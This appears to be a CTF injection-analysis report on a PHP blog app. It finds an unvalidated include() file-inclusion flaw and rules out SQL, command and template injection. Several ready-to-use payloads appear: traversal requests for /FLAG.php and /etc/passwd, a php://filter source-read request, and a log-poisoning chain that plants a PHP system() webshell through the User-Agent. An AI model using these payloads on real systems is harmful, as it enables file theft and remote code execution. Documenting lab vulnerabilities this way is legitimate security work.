# Injection Analysis Report (SQLi & Command Injection)

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** One CRITICAL Local File Inclusion (LFI) vulnerability identified. The application has NO SQL injection or Command Injection vulnerabilities due to the complete absence of database queries and system command execution functions. The single LFI vulnerability has been documented and passed to the exploitation phase via the machine-readable queue at `deliverables/injection_exploitation_queue.json`.  
- **Purpose of this Document:** This report provides the strategic context, vulnerability patterns, and environmental intelligence necessary to understand the injection attack surface of this application. It is intended to be read alongside the JSON exploitation queue.

---

## 2. Dominant Vulnerability Patterns

### Pattern 1: Unauthenticated File Inclusion Without Path Validation

**Description:** The application accepts user-controlled input directly from `$_GET['id']` and concatenates it with a base path (`posts/`) before passing it to PHP's `include()` function. No validation, sanitization, or boundary checks are performed. The only check is `file_exists()`, which does not prevent path traversal - it merely verifies that the traversed path points to an existing file.

**Implication:** An attacker can use path traversal sequences (`../`) to escape the intended `posts/` directory and include arbitrary files from anywhere on the filesystem that the web server process (www-data) can read. This includes:
- System files (`/etc/passwd`, `/etc/hostname`)
- Application configuration files
- Apache log files (which can be poisoned for RCE)
- The FLAG file at `/FLAG.php` (CTF objective)

**Representative Vulnerability:** INJ-VULN-01 (LFI in post.php?id parameter)

---

### Pattern 2: Complete Absence of Backend Command Interfaces

**Description:** The application architecture is remarkably simple: it serves static HTML content from PHP files and reads blog post data from a JSON file. There is no database layer, no ORM, no system command execution, no template engine, and no serialization/deserialization. The entire data flow consists of: (1) reading a static JSON file with `file_get_contents()`, (2) decoding it with `json_decode()`, and (3) echoing HTML output.

**Implication:** This simplicity eliminates entire vulnerability classes. SQL injection is impossible (no database), command injection is impossible (no exec functions), SSTI is impossible (no template engine), and insecure deserialization is impossible (no unserialize). The attack surface is narrowed to file operations and output encoding.

**Representative:** No vulnerability ID - this is a secure pattern that reduces attack surface.

---

## 3. Strategic Intelligence for Exploitation

### File System Architecture

- **Application Root:** `/var/www/html/`
- **Post Files Directory:** `/var/www/html/posts/`
- **Target File (CTF Objective):** `/FLAG.php` (at container root, outside web root)
- **Apache Log File:** `/var/log/apache2/access.log`
- **Log Permissions:** `0777` (world-writable, intentionally configured for CTF challenge)

### Path Traversal Mechanics

The vulnerable code constructs the file path as follows:
```php
$posts_path = "posts/";              // Line 6
$post_id = $_GET['id'];              // Line 4 - NO VALIDATION
$file_to_include = $posts_path . $post_id;  // Line 8
```

When an attacker provides `id=../../FLAG.php`, the resulting path is:
```
posts/../../FLAG.php → /var/www/html/posts/../../FLAG.php → /FLAG.php
```

The `file_exists()` check on line 10 does NOT prevent this - it simply verifies that `/FLAG.php` exists (which it does), then proceeds to include it on line 11.

### Error Suppression

**Critical Observation:** `post.php` begins with `error_reporting(0);` on line 2. This suppresses all PHP errors and warnings, preventing information disclosure through error messages. However, this also means:
- Successful file inclusion will execute PHP code and display output
- Failed inclusion attempts will fail silently (no error message returned)
- Blind exploitation techniques may be required for non-PHP files

### Log Poisoning Attack Chain (Advanced RCE Vector)

For advanced exploitation beyond simple file disclosure:

**Step 1 - Poison Apache Access Log:**
```bash
curl -A "<?php system(\$_GET['cmd']); ?>" http://localhost:45447/
```
This writes PHP code into `/var/log/apache2/access.log` via the User-Agent header.

**Step 2 - Include Poisoned Log via LFI:**
```
GET /post.php?id=../../../../var/log/apache2/access.log&cmd=cat%20/FLAG.php
```
The log file is included and the injected PHP code is executed, providing Remote Code Execution.

**Why This Works:**
- Apache logs are writable (0777 permissions)
- User-Agent header is logged verbatim (no sanitization)
- LFI includes and executes the poisoned log as PHP code

### Exploitation Priorities

1. **Direct FLAG Access (Highest Priority):** `GET /post.php?id=../../FLAG.php` - Single request achieves CTF objective
2. **System Information Disclosure:** `GET /post.php?id=../../../../etc/passwd` - Map container environment
3. **Source Code Disclosure:** `GET /post.php?id=php://filter/convert.base64-encode/resource=../index.php` - Read application source
4. **Log Poisoning → RCE:** Multi-step attack for command execution capabilities

---

## 4. Vectors Analyzed and Confirmed Secure

These input vectors were traced and confirmed to have robust, context-appropriate defenses. They are **low-priority** for further injection testing.

| **Source (Parameter/Key)** | **Endpoint/File Location**      | **Defense Mechanism Implemented**         | **Verdict** |
|-----------------------------|--------------------------------|-------------------------------------------|-------------|
| `page`                      | `/index.php:10`               | Type cast to `(int)` - safe integer coercion | SAFE        |

**Analysis:** The pagination parameter `$_GET['page']` is type-cast to an integer on line 10 of index.php: `$page = isset($_GET['page']) ? (int)$_GET['page'] : 1;`. This automatic type conversion ensures that only numeric values are processed, preventing any injection attacks through this parameter. The cast value is used only for arithmetic operations (pagination calculation) and never in file operations or output contexts that could be exploited.

---

## 5. Analysis Constraints and Blind Spots

### Complete Coverage Achieved

**No Blind Spots:** This application has an exceptionally simple architecture with no asynchronous processing, no background jobs, no external API calls, no database layer, and no complex middleware chains. All 12 PHP files (616 lines of code total) were analyzed using both automated pattern matching and manual code review.

### Vulnerability Classes Ruled Out (With High Confidence)

The following vulnerability classes were systematically searched and definitively ruled out:

1. **SQL Injection (100% Confidence):**
   - Exhaustive search for database connection functions: 0 matches
   - Exhaustive search for SQL query functions: 0 matches
   - Exhaustive search for SQL keywords: 0 matches
   - Data storage mechanism confirmed as file-based (JSON)
   - No database drivers, no ORM frameworks, no SQL statements in codebase

2. **Command Injection (100% Confidence):**
   - Exhaustive search for `exec()`, `system()`, `shell_exec()`, `passthru()`: 0 matches
   - Exhaustive search for `popen()`, `proc_open()`, process control functions: 0 matches
   - Exhaustive search for backtick operators: 0 matches
   - Exhaustive search for shell references (`/bin/sh`, `bash`, etc.): 0 matches
   - Note: RCE is possible via LFI + log poisoning, but this is NOT direct command injection

3. **Server-Side Template Injection (100% Confidence):**
   - Exhaustive search for template engines (Twig, Smarty, Blade, etc.): 0 matches
   - Exhaustive search for template rendering methods: 0 matches
   - Exhaustive search for `.twig`, `.tpl`, `.blade.php` files: 0 files found
   - Application uses direct PHP echo statements with heredoc syntax (not a template engine)

4. **Insecure Deserialization (100% Confidence):**
   - Exhaustive search for `unserialize()`: 0 matches
   - Exhaustive search for `session_start()`, `$_SESSION`: 0 matches (no sessions)
   - Exhaustive search for PHP magic methods (`__wakeup`, `__destruct`, etc.): 0 matches
   - Only serialization operation is `json_decode()` which is inherently safe (does not trigger magic methods)
   - No class definitions in the codebase (procedural architecture)

### LFI vs. Command Injection Distinction

**Important Clarification:** The reconnaissance report correctly identified that "LFI can lead to RCE via log poisoning." However, this is NOT a command injection vulnerability. The distinction is critical:

- **Command Injection:** Application code directly calls `system()`, `exec()`, or similar functions with attacker-controlled input
- **LFI → RCE:** Application includes files; attacker injects PHP code elsewhere (e.g., logs), then includes that file to execute the injected code

The application has **LFI (CWE-22)** that enables **RCE**, but it does NOT have **Command Injection (CWE-77)**. These are different OWASP/CWE categories.

---

## 6. Conclusion

**Summary:** This injection analysis identified ONE critical vulnerability (Local File Inclusion) and definitively ruled out FOUR major vulnerability classes (SQL Injection, Command Injection, SSTI, and Insecure Deserialization). The application's simple architecture - no database, no command execution, no template engine, no sessions - significantly reduces the injection attack surface.

**Handoff to Exploitation Phase:** The single LFI vulnerability (INJ-VULN-01) has been documented with complete source-to-sink data flow analysis and passed to the exploitation queue. The exploitation specialist should prioritize direct FLAG access (`../../FLAG.php`) as the primary objective, with log poisoning → RCE as a secondary advanced technique.

**Testing Completeness:** All 12 PHP files and 616 lines of code were analyzed. All input vectors from the reconnaissance deliverable were traced. No blind spots remain.